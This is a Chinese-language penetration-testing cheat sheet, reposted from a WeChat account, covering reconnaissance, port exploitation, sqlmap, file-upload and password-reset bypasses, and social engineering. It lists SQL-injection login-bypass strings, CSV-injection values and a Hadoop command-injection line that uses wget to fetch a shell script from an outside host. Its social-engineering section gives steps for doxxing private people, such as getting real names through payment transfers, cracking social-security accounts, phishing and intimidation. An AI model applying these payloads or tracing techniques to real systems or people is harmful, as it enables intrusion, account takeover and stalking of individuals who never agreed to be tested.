聲明:
本文轉載自微信公眾號:HACK學習呀。已獲得原作者授權,轉載請注明出處
原文鏈接:https://mp.weixin.qq.com/s/arl3mxwOONDOIeWNgfnG9Q
寫在開頭:
知識面,決定看到的攻擊面有多廣。
知識鏈,決定發動的殺傷鏈有多深。
0x00 信息收集
從旁觀者的角度了解整個WEB應用乃至整個目標的全貌,但是資產是收集不完的,可以邊收集,邊進行一定程度的測試。信息收集最小的粒度應是目錄。
1. 目標確認
1.1 域名注冊信息
通過如下步驟確認目標所有者信息:
Whois 目標域名/主機名:whois example.com 解析目標域名/主機名的IP地址:dig +short example.com 獲取域名的詳細解析過程:dig +trace example.com 后續用於字典制作和進一步收集目標信息的基礎
獲取真實IP:
瀏覽器切換手機模式,可能是真實ip,公眾號、小程序中的資產也可能對應真實ip。
驗證是否存在CDN:
方法1: 使用各種多地 ping 的服務,查看對應 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 網站有: http://ping.chinaz.com/ http://ping.aizhan.com/ http://ce.cloud.360.cn/ 方法2: 試用nslookup進行檢測,如果返回域名解析對應多個IP,那么多半是試用了CDN. nslookup example.com 方法3: 在線工具查看是否存在CDN,可以參考以下站點: http://www.cdnplanet.com/tools/cdnfinder http://www.ipip.net/ip.html
繞過CDN查找網站真實IP:
1.查詢歷史DNS記錄(ip的歷史解析域名,域名的歷史解析ip)
查看 IP 與 域名綁定的歷史記錄,可能會存在使用 CDN 前的記錄,相關查詢網站有:
https://dnsdb.io/zh-cn/
https://x.threatbook.cn/
https://censys.io/ipv4?q=baidu.com
非常牛逼的IP記錄站,還能分析內鏈之類找出可能的IP地址,此外還會記錄歷史。
viewdns.info
同樣是個令站長十分蛋疼的DNS歷史記錄網站,記錄了幾年內的更改記錄。
securitytrails.com
https://site.ip138.com/
龐大的DNS歷史數據庫,可以查出幾年內網站用過的IP、機房信息等。
iphostinfo.com
注意:這個網站可以遍歷FTP、MX記錄和常見二級域名,有些站長喜歡把郵箱服務也放在自己主機上,側面泄露了真實的IP地址,通過這個網站可以進行檢查。
2.查詢子域名(捷徑,去眾測平台、github找官方發布過的)
注意:有可能有些站長只給主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服務器上,或者 C段中,這樣可以通過子域名來輔助找到網站真實IP
爆破子域名:
主動式
layer子域名挖掘機(字典要自己豐富) http://z.zcjun.com/(在線子域名挖掘) fuzzdomain 很好用,速度快
被動式
搜索引擎拿子域名、旁站(同IP網站)、C段: 可用搜索引擎語法查詢子域名: 谷歌、百度、bing、搜狗(搜索微信文章)、雅虎等略有差異
詳細用法:
(1)site: =主域名,搜索其主要域名下面的子域名 (2)allintext: = 搜索文本,但不包括網頁標題和鏈接 (3)allinlinks: = 搜索鏈接, 不包括文本和標題。 (4)related:URL = 列出於目標URL地址有關的網頁。 (5)link:URL = 列出到鏈接到目標URL的網頁清單。 (6)使用“-”去掉不想看的結果,例如site:baidu.com -image.baidu.com
百度語法:
https://www.cnblogs.com/k0xx/p/12794452.html
谷歌語法:
https://blog.csdn.net/u012991692/article/details/82937100?biz_id=102&utm_term=Googlehack&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-82937100&spm=1018.2118.3001.4187
GHDB:
https://www.exploit-db.com/google-hacking-database
3.資產搜索(旁站\C段\特征):
https://www.shodan.io(資產相關或特征值關鍵字爆ip) https://fofa.so https://www.zoomeye.org/ http://www.yunsee.cn/info.html (雲悉在線資產平台) http://subdomain.chaxun.la (查詢啦) https://www.virustotal.com/gui/home/search https://dnsdumpster.com/ https://duckduckgo.com (一個不會存儲你個人信息的搜索引擎) https://crt.sh/(SSL證書查詢) https://icp.aizhan.com/(域名備案)
4.對方服務器給自己發郵件暴露IP
5.APP客戶端爆ip
1.2 DNS信息查詢
目的:
注冊者名稱及郵箱,再反查其他域名
手機號 座機號
ASN號
地址在線DNS信息查詢工具:
https://dnsdumpster.com/ https://www.dnsdb.io (DNS搜索引擎) http://searchdns.netcraft.com http://whois.nawang.cn/ https://whois.aliyun.com/ https://whois.west.cn/ http://whois.chinaz.com/ (站長之家) https://www.tianyancha.com/ (天眼查) http://www.gsxt.gov.cn/index.html (國家企業信用信息系統) www.beianbeian.com/ (ICP備案查詢)
1.3 測試域傳送漏洞
域傳送是一種DNS事務,用於在主從服務器間復制DNS記錄。雖然如今已經很少見主機會開啟,但是還是應該確認一下。一旦存在域傳送漏洞,就意味着你獲取了整個域下面所有的記錄。
dnsrecon -d example.com
dnsenum example.com 包含自動檢測域傳送漏洞
1.4 業務相關
github泄露:
in:name test # 倉庫標題搜索含有關鍵字 SpringCloud in:descripton test # 倉庫描述搜索含有關鍵字 in:readme test # Readme文件搜素含有關鍵字 stars:>3000 test # stars數量大於3000的搜索關鍵字 stars:1000..3000 test # stars數量大於1000小於3000的搜索關鍵字 forks:>1000 test # forks數量大於1000的搜索關鍵字 forks:1000..3000 test # forks數量大於1000小於3000的搜索關鍵字 size:>=5000 test # 指定倉庫大於5000k(5M)的搜索關鍵字 pushed:>2019-02-12 test # 發布時間大於 2019-02-12的搜索關鍵字 created:>2019-02-12 test # 創建時間大於2019-02-12的搜索關鍵字 user:test # 用戶名搜素 license:apache-2.0 test # 明確倉庫的 LICENSE 搜索關鍵字 language:java test # 在java語言的代碼中搜索關鍵字 user:test in:name test # 組合搜索,用戶名test的標題含有test的
網盤泄露:
各種雲網盤,詳見蟲部落搜索:
敏感路徑掃描:
https://github.com/ring04h/weakfilescan
2.OSINT 公開情報收集
2.1 社工技巧
查看注冊的網站:reg007
知道賬號去已注冊的網站找回密碼,可以看到打碼后的用戶名、郵箱、真實姓名等信息,如果運氣好沒准能從數據包或html中找到未被打碼的信息
可以從這些方面判斷用戶是否注冊過
找回密碼
輸入賬號,如果進入下一步了則該賬號存在
登錄
輸入賬號和密碼,如果提示密碼錯誤,則表示該用戶已存在
注冊
填寫賬號時一般網站會去檢測該賬號是否已存在,如果已存在則會提示不可重復注冊
知道QQ
通過QQ郵箱和QQ號搜索支付寶、淘寶賬號等其他可能的常用平台
去騰訊\新浪微博搜索
通過微信搜索
查看QQ空間\相冊\地區\星座\生日\昵稱(后續構建字典以及跨平台搜集)
通過說說、留言、日志找到其好友
加QQ釣魚\共同好友\可能認識的人
知道手機號
搜索QQ、微信、釘釘等社交賬號
在比較火的一些APP和網站上注冊或忘記密碼來判斷是否注冊過賬號
查詢支付寶、QQ交易賬號,嘗試輸入常見姓氏獲取名字(轉賬到該手機號,會提示輸入姓氏驗證)
通過對方的職業、興趣找到該領域知名度較高的社交網站反查
根據在QQ空間、朋友圈等動態用百度識圖識別照片
在微博、ins、Twitter、fb、百度貼吧搜索相近關鍵字,按地域、年齡、男女、用戶名等篩選
留意社交動態
發布時間線
使用什么客戶端 iPhone Android還是瀏覽器
針對客戶端預先制定exploit
注意每一條鏈接 / 圖片 / 視頻鏈接可能包含用戶ID
圖片可能包含水印,exif可能會有GPS定位和手機類型,圖片內容特征
視頻也有可能有水印暴露社交賬號ID,拍攝地點
從最早發布的動態看起,會有很大收獲
一般得到一個賬號的密碼就相當於得到了其他賬號的密碼
一般人不同賬號的用戶名都是相同或相近的
一般人的社交賬號頭像用的都是一樣的
嘗試破解社保、公積金賬號、身份證號(出生地、生日、星座、派出所代碼)
蟲部落快搜之文件搜索:https://search.chongbuluo.com/
qq群、群文件、貼吧論壇、目標自用論壇等社交平台
釣魚和信息泄露(爬郵箱等信息)
電子郵件偽造、網絡釣魚
下載惡意程序
輸入敏感信息
大部分信息可以用來生成密碼字典
對人:說服對方達成一致、恐嚇對方(敏感詞、漏洞、病毒、權威機構名稱、),釣魚獲取信息
2.2 搜索引擎OSINT
Google Hacking(baidu\bing\souhu\github)
GoogleHacking常用語法:
intext:(僅針對Google有效) 把網頁中的正文內容中的某個字符作為搜索的條件 intitle:把網頁標題中的某個字符作為搜索的條件 cache:搜索搜索引擎里關於某些內容的緩存,可能會在過期內容中發現有價值的信息 filetype/ext:指定一個格式類型的文件作為搜索對象 inurl:搜索包含指定字符的URL site:在指定的(域名)站點搜索相關內容
GoogleHacking其他語法
引號 ” ” 把關鍵字打上引號后,把引號部分作為整體來搜索 or 同時搜索兩個或更多的關鍵字 link 搜索某個網站的鏈接 link:baidu.com即返回所有和baidu做了鏈接的URL info 查找指定站點的一些基本信息
GoogleHackingDatabase:
google-hacking-databaseGoogleHacking典型用法(特定資產的萬能密碼也要積累)
管理后台地址
site:target.com intext:管理 | 后台 | 后台管理 | 登陸 | 登錄 | 用戶名 | 密碼 | 系統 | 賬號 | login | system site:target.com inurl:login | inurl:admin | inurl:manage | inurl:manager | inurl:admin_login | inurl:system | inurl:backend site:target.com intitle:管理 | 后台 | 后台管理 | 登陸 | 登錄
上傳類漏洞地址
site:target.com inurl:file site:target.com inurl:upload
注入頁面
site:target.com inurl:php?id= (批量注入工具、結合搜索引擎)
編輯器頁面
site:target.com inurl:ewebeditor
目錄遍歷漏洞
site:target.com intitle:index.of
SQL錯誤
site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:”Warning: mysql_query()" | intext:”Warning: pg_connect()"
phpinfo()
site:target.com ext:php intitle:phpinfo "published by the PHP Group"
配置文件泄露
site:target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini
數據庫文件泄露
site:target.com ext:.sql | .dbf | .mdb | .db 日志文件泄露 site:target.com ext:.log
備份和歷史文件泄露
site:target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar
公開文件泄露
site:target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv
郵箱信息
site:target.com intext:@target.com site:target.com 郵件 site:target.com email
社工信息
site:target.com intitle:賬號 | 密碼 | 工號 | 學號 | 身份證
2.3 瀏覽器實用插件:
Wappalyzer:識別網站使用的中間件及其版本,再去漏洞庫和搜索引擎找公開披露的漏洞
SwitchOmega:快捷切換代理
shodan:識別開放端口,主機服務等(被動信息搜集)
hacktools:綜合插件,很強大
firefox滲透便攜版version48,工具集成很多
注意:根據獲得服務、中間件信息、編輯器版本、數據庫等OSINT去各大漏洞庫、搜索引擎找漏洞利用
2.4 烏雲和CNVD
烏雲庫\烏雲鏡像\GHDB\CNVD等公開漏洞庫
0x01 主動探測
從管理員和用戶的角度了解整個WEB應用乃至整個目標的全貌,主動探測會暴露ip以及留下日志信息,所以要...
1.主動掃描
1.1常見服務漏洞
nmap的功能:
腳本掃描,隱蔽掃描,端口掃描,服務識別,OS識別,探測WAF
nmap腳本主要分為以下幾類,在掃描時可根據需要設置
--script=類別這種方式進行比較籠統的掃描: --auth: 負責處理鑒權證書(繞開鑒權)的腳本 --broadcast: 在局域網內探查更多服務開啟狀況,如dhcp/dns/sqlserver等服務 --brute: 提供暴力破解方式,針對常見的應用如http/snmp等 --default: 使用-sC或-A選項掃描時候默認的腳本,提供基本腳本掃描能力 --discovery: 對網絡進行更多的信息,如SMB枚舉、SNMP查詢等 --dos: 用於進行拒絕服務攻擊 --exploit: 利用已知的漏洞入侵系統 --external: 利用第三方的數據庫或資源,例如進行whois解析 --fuzzer: 模糊測試的腳本,發送異常的包到目標機,探測出潛在漏洞 --intrusive: 入侵性的腳本,此類腳本可能引發對方的IDS/IPS的記錄或屏蔽 --malware: 探測目標機是否感染了病毒、開啟了后門等信息 --safe: 此類與intrusive相反,屬於安全性腳本 --version: 負責增強服務與版本掃描(Version Detection)功能的腳本 --vuln: 負責檢查目標機是否有常見的漏洞(Vulnerability),如是否有MS08_067
nmap --script=auth 192.168.137.* 負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱口令 nmap --script=brute 192.168.137.* 提供暴力破解的方式 可對數據庫,smb,snmp等進行簡單密碼的暴力猜解 nmap --script=default192.168.137.* 或者 nmap -sC 192.168.137.* 默認的腳本掃描,主要是搜集各種應用服務的信息,收集到后,可再針對具體服務進行攻擊 nmap --script=vuln 192.168.137.* 檢查是否存在常見漏洞 nmap -n -p445 --script=broadcast 192.168.137.4 在局域網內探查更多服務開啟狀況 nmap --script external 202.103.243.110 利用第三方的數據庫或資源,例如進行whois解析 nmap --script banner ip nmap -p port -sV ip 獲取軟件版本信息 nmap -O ip 操作系統信息,版本 nmap -A -v ip 完整信息獲取 -sN;-sF;-sX 隱蔽掃描 -sN是Null掃描,是通過發送非常規的TCP通信數據包進行探測 nmap -sN 127.0.0.1 -sF是FIN掃描,當我們使用TCP SYN掃描時可能會被目標主機的防火牆發現,會阻止SYN數據包,這時我們使用TCP FIN掃描方式會有很好的穿透效果. nmap -sF 127.0.0.1 掃描前1000號TCP端口 nmap 192.168.100.2 Ping掃描8個本地主機(按ARP、ICMP、TCP 80的順序) nmap –sP 192.168.100.0-7 掃描80,443端口 nmap -p 80,443 192.168.100.2 掃描前1000號TCP端口,OS指紋,服務,然后運行一個NSE腳本 sudo nmap -A 192.168.100.2 掃描全部65535個TCP端口,OS指紋,服務,然后運行一個NSE腳本 sudo nmap –A –p- 192.168.100.2 掃描前1000號UDP端口 sudo nmap -sU 192.168.100.2 掃描所有65535個UDP端口 sudo nmap -sU –p- 192.168.100.2 掃描所有65535個UDP端口,並獲取服務、OS指紋,之后運行一些NSE腳本 sudo nmap –sU -p- -A 192.168.100.2
nmap腦圖備查:
### 1.2常見端口漏洞利用 快速掃描: Masscan -p80,800 ip --rate=10000 21/ FTP 匿名/暴力破解 拒絕服務 22/ SSH 暴力破解 23/ telnet Winbox(CVE-2018-14847) https://github.com/BasuCert/WinboxPoC 弱口令 / 暴力破解 161/ snmp 弱口令 https://blog.csdn.net/archersaber39/article/details/78932252 389/ ladp 匿名訪問 https://www.cnblogs.com/persuit/p/5706432.html ladp注入 http://www.4hou.com/technology/9090.html https://www.freebuf.com/articles/web/149059.html 443/ ssl openssl心臟出血 https://paper.seebug.org/437/ http://www.anquan.us/static/drops/papers-1381.html https://www.freebuf.com/sectool/33191.html 445/ smb win10拒絕服務 永恆之藍RCE 875/ rsync 匿名訪問 http://www.anquan.us/static/bugs/wooyun-2016-0190815.html https://paper.seebug.org/409/ http://www.91ri.org/11093.html 1433/ mssql 暴力破解 http://www.anquan.us/static/drops/tips-12749. html https://www.seebug.org/appdir/Microsoft%20SQL%20Server 1521/ oracle 暴力破解 https://www.exploit-db.com/exploits/33084 2601/ zebra http://www.anquan.us/static/bugs/wooyun-2013-047409.html 3128/ squid 3306/ mysql RCE http://www.91ri.org/17511.html CVE-2015-0411 hash破解 https://www.freebuf.com/column/153561.html waf繞過 https://www.freebuf.com/articles/web/155570.html general_log_file getshell https://www.freebuf.com/column/143125.html 提權 http://www.91ri.org/16540.html 3312/ kangle getshell https://www.secpulse.com/archives/23927.html 3389/ rdp shift 放大鏡 輸入法繞過 guest用戶 永恆之藍(ESTEEMAUDIT) https://www.freebuf.com/articles/system/132171.html https://www.anquanke.com/post/id/86328 ms12-020 https://blog.csdn.net/meyo_leo/article/details/77950552 4440/ rundeck https://www.secpulse.com/archives/29500.html 4848/ glassfish 文件讀取 https://www.secpulse.com/archives/42277.html https://www.anquanke.com/post/id/85948 GlassFish2/ admin:admin GlassFish3,4/ 如果管理員不設置帳號本地會自動登錄,遠程訪問會提示配置錯誤 5432/ PostgreSQL RCE https://www.cnblogs.com/KevinGeorge/p/8521496.html https://www.secpulse.com/archives/69153.html 默認賬號postgres 參考 http://www.91ri.org/13070.html http://www.91ri.org/6507.html 5672,15672,4369,25672/ RabbitMQ (guest/guest) 5900/ VNC https://www.seebug.org/appdir/RealVNC 5984/ CouchDB http://xxx:5984/_utils/ 6082/ varnish CLI 未授權 https://www.secpulse.com/archives/10681.html 6379/ redis Redis未授權 ssh publickey crontab webshell 反序列化 開機自啟文件夾寫bat 參考 https://www.freebuf.com/column/170710.html 7001,7002/ WebLogic 默認弱口令 weblogic/weblogic ,weblogic/welcom,weblogic/welcom1,weblogic1/weblogic 反序列 CVE-2018-2628 https://www.freebuf.com/articles/web/169770.html https://www.seebug.org/appdir/WebLogic 9200,9300/ elasticsearch CVE-2015-1427 http://www.anquan.us/static/drops/papers-5142.html CVE-2018-17246 https://www.seebug.org/vuldb/ssvid-97730 參考 https://www.seebug.org/search/?keywords=elasticsearch 9000/ fcgi https://paper.seebug.org/289/ 9043/ WebSphere Websphere8.5 https://localhost:9043/ibm/console/logon.jsp Websphere6-7 http://localhost:9043/ibm/console 后台未授權,登錄后可部署WAR包 SOAP服務有反序列化 弱口令:admin / password 11211/ memcache 未授權 UDP反射 https://shockerli.net/post/memcached-udp-reflection-attack-bug/ 27017,27018/ Mongodb 未授權 注入 https://www.anquanke.com/post/id/83763 phpMoAdmin RCE https://www.aqniu.com/threat-alert/6978.html 50000/ SAP SAP命令執行 https://www.secpulse.com/archives/20204.html 50070,50030/ hadoop 未授權 https://www.freebuf.com/vuls/173638.html 命令執行 host:50060/pstack?pid=123|wget http://somehost/shell.sh https://www.seebug.org/search/?keywords=hadoop 其他 http://www.91ri.org/15441.html '''
1.3 WAF及bypass
探測WAF
Nmap探測WAF有兩種腳本,
一種是http-waf-detect,一種是http-waf-fingerprint。
nmap -p port --script=http-waf-detect ip
wafw00f -a example.com
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf
bypass: 手工注入,詳見筆記
1.4 目錄、后台和敏感路徑文件掃描
御劍目錄(土司專版,筆記里有)、后台掃描(圖片屬性地址暴露),
完善目錄和賬密字典方法:
基礎字典包合並去重
dymerge.py -u
python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt
python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt
2.人工瀏覽\逐個請求burp
非常重要,有必要手動去瀏覽每個頁面,點擊頁面上每一個跳轉,這樣在Burp的sitemap里面就可以出現這些請求和響應。
圖片后台地址\圖片后面的信息
跳轉參數\奇怪的參數
泄露郵箱等社工信息
業務邏輯\架構
3.自動化
自動化滲透測試框架:(待補充)
Sn1per
Ary
自動化信息收集效率較高,從github上多找一找,也可以自己寫
0x02 漏洞挖掘
1.漏洞掃描工具
注意:登錄類網站掃描要帶cookies掃才能掃到
1.1 Nikto Web服務漏洞掃描器
Tips:利用-Format選項來導出特定格式的掃描結果,使掃描結果更容易閱讀和分析。
nikto -host http://example.com -output ~/nikto.html -Format html
NIKTO使用方法: 1、命令:nikto -update #升級,更新插件; 2、Nikto-list-plugins #查看插件; 3、Nikto-host http://1.1.1.1 #掃描目標:域名方式; 4、Nikto-host http://1.1.1.1 -output #掃描並輸出結果 5、Nikto-host 1.1.1.1-port 80#掃描目標:ip地址加端口號 6、Nikto-host www.baidu.com -port 443-ssl #掃描https網站 7、Nikto-host 文件名.txt #批量掃描目標 8、nmap -p80 192.168.1.0/24-oG - | nikto -host - #利用nmap掃描開放80端口的IP段並且oG(nmap結果輸出並整理)通過管道的方式 “|”用nikto進行掃描 9、nikto -host 192.168.0.1-useproxy http://localhost:8070 #利用代理進行掃描 10、-vhost #當一個網站存在多個端口時可以使用-vhost遍歷所有網站進行掃描或一個ip對應多個網站 11、Nikto交互形參數 配置文件: 路徑:/etc/nikto.conf UserAgent中文名為用戶代理,簡稱 UA,它是一個特殊字符串頭,使得服務器能夠識別客戶使用的操作系統及版本; 在nikto中最好修改成別的瀏覽器user agent; 設置cookie: 在配置文件中找到cookie進行設置(#STATIC-COOKIE= "cookie1"="cookie value";"cookie2"="cookie val") IDS逃避技術: 主要為了躲避IDS、IPS檢測告警-evasion #此參數使用方式(Nikto -host http://1.1.1.1 -evasion 1234) 逃避方式共8種: 1、隨機url編碼, 2、自選路徑, 3、過早結束的URL 4、優先考慮長隨機字符串 5、參數欺騙 6、使用TAB作為命令的分隔符, 7、使用變化的URL 8、使用Windows路徑分隔符
1.2 AWVS漏掃
這個沒什么好說的,破解版到處都是。
1.3 NESSUS
實時更新插件的漏掃,很好用,就是激活流程麻煩。
https://www.wuyini.cn/765.html
1.4 Xray自動化的漏洞挖掘
burp+xray:
BurpSuite + Xray 被動掃描配置 - Ritte - 博客園
或者直接掛瀏覽器,點到哪里,掃到哪里
xray+各種漏掃聯動
1.5 Fuzz
Fuzz可以發現應用程序中沒有被引用但是確實是可以訪問的頁面。
Discover Content是Burp中專門用於此目的的工具。
Burp Intruder也可以通過字典攻擊來實施強制瀏覽(通常是在url參數和文件路徑部分進行修改),爆破、注入等。
FuzzDB包含一些用於此目的的非常牛逼的字典。
2.挖掘漏洞
2.1 SQL注入:
初步測試:見框就上,加' " ) ))% and 1=1 and 1=2 and2-1 or ,
抓包爆破常用SQL注入payload字典,上burp intruder
純手工注入和手工繞過waf,詳見筆記。
通過搜索引擎,批量查找注入點,詳見筆記。
然后用傀儡注入點批量搜集工具
實操案例: sql注入思路(登錄界面)和網絡常用端口_u011975363的專欄-CSDN博客
超級SQL注入工具(github)
sqlmap一把梭: 注意:命令為kali linux中運行的 (windows中用python sqlmap.py執行) 注入六連: 1.sqlmap -u "http://www.xx.com?id=x"查詢是否存在注入點 2.--dbs 檢測站點包含哪些數據庫 3.--current-db 獲取當前的數據庫名 4.--tables -D "db_name"獲取指定數據庫中的表名 -D后接指定的數據庫名稱 5.--columns -T "table_name" -D "db_name"獲取數據庫表中的字段 6.--dump -C "columns_name" -T "table_name" -D "db_name" 獲取字段的數據內容 COOKIE注入: sqlmap -u "http://www.xx.com/xxx.asp" --cookie "id=XXX cookie"--level 2\ cookie注入 后接cookie值 POST注入: (1)目標地址http://www.xxx.com /login.asp (2)打開burp代理 (3)點擊表單提交 (4)burp獲取攔截信息(post) (5)右鍵保存文件(.txt)到指定目錄下 (6)運行sqlmap並執行如下命令: 用例:sqlmap -r okay.txt -p username // -r表示加載文件(及步驟(5)保存的路徑) -p指定參數(即攔截的post請求中表單提交的用戶名或密碼等name參數) (7)自動獲取表單:--forms自動獲取表單 例如:sqlmap -u www.xx.com/login.asp --forms (8)指定參數搜索:--data 例如:sqlmap -u www.xx.com/login.asp --data "username=1" 常用指令: 1.--purge 【重新掃描(--purge 刪除原先對該目標掃描的記錄) 2.--tables 【獲取表名 3.--dbs 【檢測站點包含哪些數據庫 4.--current-db 【獲取當前的數據庫名 5.--current-user 【檢測當前用戶 6.--is-dba 【判斷站點的當前用戶是否為數據庫管理員 7.--batch 【默認確認,不詢問你是否輸入 8.--search 【后面跟參數 -D -T -C 搜索列(C),表(T)和或數據庫名稱(D) 9.--threads 10【線程,sqlmap線程最高設置為10 10.--level 3【sqlmap默認測試所有的GET和POST參數,當--level的值大於等於2的時候也會測試HTTP Cookie頭的值,當大於等於3的時候也會測試User-Agent和HTTP Referer 頭的值。最高為5 11.--risk 3【執行測試的風險(0-3,默認為1)risk越高,越慢但是越安全 12.-v 【詳細的等級(0-6) 0:只顯示Python的回溯,錯誤和關鍵消息。 1:顯示信息和警告消息。 2:顯示調試消息。 3:有效載荷注入。 4:顯示HTTP請求。 5:顯示HTTP響應頭。 6:顯示HTTP響應頁面的內容 13.--privileges 【查看權限 14.--tamper xx.py,cc.py 【防火牆繞過,后接tamper庫中的py文件 15.--method "POST"--data "page=1&id=2"【POST方式提交數據 16.--threads number 【采用多線程 后接線程數 17.--referer ""【使用referer欺騙 18.--user-agent ""【自定義user-agent 19.--proxy “目標地址″ 【使用代理注入 sqlmap常用路徑: 1.添加表字段的目錄在/usr/share/sqlmap/txt/common-tables.txt 2.存放掃描記錄的目錄在/root/.sqlmap/output 高階玩法: 自己寫tamper.py
2.2 XSS:
xss漏洞原理分析與挖掘方法 - 知乎
https://zhuanlan.zhihu.com/p/35315167
web漏洞 | XSS(跨站攻擊腳本)詳解
https://www.cnblogs.com/wuqun/p/12484816.html
XSS匯總
http://www.nxadmin.com/penetration/810.html
XSS小結 - 先知社區
2020跨站點腳本[xss]速查表|雨蓯
https://www.yuque.com/xiaogege-yxttw/btpqqg/lwzwei
XSSer自動化工具
https://www.freebuf.com/sectool/173228.html
XSStrike 自動化繞過WAF
https://www.uedbox.com/post/56316/
客服對話系統上XSS打cookie
2.3 文件上傳
字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
文件上傳繞過總結,詳見筆記
目錄穿越
上傳后如果沒有被文件重命名,可以在文件名值做目錄跳轉
注意一些像目錄的參數名
dir path location url
文件頭繞過
修改上傳類型 Content-Type
雙文件上傳
截斷
長文件名 長Content-Disposition %00截斷
特殊文件
svg / html / htm / swf xss pdf chrome 里可以跳轉 cer / asa / spx / php5 / phtml
可能會被當做動態語言解析
.htaccess / .user.ini / web.config / web.xml
修改解析規則
.xls / .xlsx
POI Excel XXE
.tar / .tar.gz / .zip
可能存在文件釋放目錄跳轉問題
.pkl
python反序列化文件
.xml
可能有 XXE
.yaml / .yml
YAML 反序列化
.jar / .class
上傳到 java classpath 的目錄下,類被加載時執行代碼
無大小和次數限制
無限上傳制造垃圾數據堵死硬盤
有圖片加工的地方可以注意一下imagemagick命令執行
文件讀取
讀取系統敏感文件
文件包含
可讀取文件或代碼執行
文件刪除
刪除配置文件可破壞網站 刪除安裝鎖可重裝
文件解壓
如果上傳文件為 tar / tar.gz 類型,可以嘗試構壓縮包內文件名為../../../../xxx 的tar包
文件導出
如果是CSV 或者 Excel可以注意一下CSV注入 =2222-1 -1+1=2222-1 @=2222-1 \r\n=2222-1 111,=2222-1,
2.4 命令執行
命令注入
--xxxx 參數注入 | 和 | | 與符號 & 和 && 與符號 ; 分號 ${}
代碼執行
表達式 freemarker OGNL Spel jsel
非表達式(php)
eval assert call_user_func() / call_user_func_array() preg_replace() create_function() array_map() array_filter() usort() / uasort()
反序列化
php 源文件拼接寫 java 反序列化 遠程 jar 加載 反射機制 jsp 源文件拼接寫入
2.5 弱口令及字典破解
后台弱口令爆破撞庫
(嘗試萬能密碼、特定資產常用密碼、弱口令后再撞庫、有的數據庫要輸對用戶名再注釋。收集的字典https://github.com/hackerX2021)
asp aspx萬能密碼 1: "or "a"="a 2: ')or('a'='a 3:or 1=1-- 4:'or 1=1-- 5:a'or'1=1-- 6:"or 1=1-- 7:'or'a'='a 8: "or"="a'='a 9:'or''=' 10:'or'='or' 11: 1or'1'='1'=1 12: 1or'1'='1'or1=1 13: 'OR 1=1%00 14: "or 1=1%00 15: 'xor 16: 新型萬能登陸密碼 用戶名 ' UNION Select 1,1,1 FROM admin Where ''='(替換表名admin) 密碼 1 Username=-1%cf' union select 1,1,1 as password,1,1,1 %23 Password=1 17..admin' or 'a'='a 密碼隨便 PHP萬能密碼 'or'='or' 'or 1=1/* 字符型 GPC是否開都可以使用 User: something Pass: ' OR '1'='1 jsp 萬能密碼 1 'or'1'='1 admin' OR 1=1/* 用戶名:admin 系統存在這個用戶的時候 才用得上 密碼:1'or'1'='1 pydictor、cupp、crunch字典生成工具、自寫字典生成py(小黑的人名字典py);dymerge字典合並去重工具、自己寫去重py;hydra爆破工具
tips
超級弱口令檢驗工具
burpsuite 爆破
使用弱用戶名對密碼進行暴力破解
使用弱口令密碼對用戶名進行暴力破解
2.6 邏輯漏洞
Cookie
一些網站會利用 Cookie 是否為空、Session 是否為 true 來判斷用戶是否可以登錄,只要構造一個 Cookie 或 Session 為 true 就可以繞過認證登錄
通過修改 Cookie 中的某個參數來實現登錄其他用戶,要抓包具體分析
數據篡改
數量、金額、ID、郵箱等數據:最大超過限制、負數、0、其他用戶數據,提交后查看是否進入正常業務流程,是否存在越權
例子: 修改普通用戶密碼,抓包 將 Referer 和 POST 中的普通用戶改成 admin 提交數據后,直接返回了 admin 的密碼修改頁面,利用邏輯漏洞獲取超級權限 抓包修改手機號參數為其他號碼進行嘗試,例如辦理查詢頁面,輸入自己的號碼然后抓包,修改手機號為他人號碼,查看是否可以查詢他人業務 手機號 篡改 郵箱或者用戶 篡改 訂單ID 篡改 商品編號 篡改 用戶ID 篡改 金額 篡改 商品數量 篡改
驗證碼繞過
drop掉頁面
返回包里可能就有驗證碼
一次驗證碼多用
驗證碼識別插件,burp
注冊界面:
任意用戶注冊
可爆破用戶名
注入
XSS
登錄界面:
爆破用戶名、密碼
注入
萬能密碼
Xss Xss+Csrf
修改返回包信息,登入他人賬戶
修改cookie中的參數,如user,admin,id等
忘記密碼界面:
任意密碼重置概要:
1.重置一個賬戶,不發送驗證碼,設置驗證碼為空發送請求。
2.發送驗證碼,查看相應包
3.驗證碼生存期的爆破
4.修改相應包為成功的相應包
5.手工直接跳轉到校驗成功的界面
6.兩個賬戶,重置別人密碼時,替換驗證碼為自己正確的驗證碼
7.重置別人密碼時,替換為自己的手機號
8.重置自己的成功時,同意瀏覽器重置別人的,不發驗證碼
9.替換用戶名,ID,cookie,token參數等驗證身份的參數
10.通過越權修改他人的找回信息如手機/郵箱來重置
用戶憑證暴力破解(驗證碼)
繞過的話,這里可以考慮一個現狀:
例如: phone=18888888888abc 國內很多情況下都沒有過濾字符和限制輸出長度,驗證很有可能只是簡單的處理 只要更換手機號后面的字符,就可以繞過請求過於頻繁的限制 但是校驗時,手機號后面的字符會被過濾,也就是可以利用暴力破解驗證碼(不計入次數) 所以只要在暴力破解的同時,改變手機號后面的字符即可達到漏洞效果 根據手機號找回密碼,但是驗證次數被限制,抓包 可以嘗試在手機號后面添加不為數字的字符,查看是否過濾 根據手機號找回密碼,隨便輸個驗證碼,抓包 暴力破解驗證碼(假如只有四位),很快就可以破解出來 四位或六位純數字,驗證碼次數未限制 例如: 如果驗證碼次數限制,破解一會就會提示請求過於頻繁,這時就需要繞過限制 例如: 通過密保問題找回密碼,查看源碼,密保問題和答案就在源碼中顯示
返回憑證(驗證碼 及 token)、郵箱弱 token、用戶憑證有效性、重新綁定
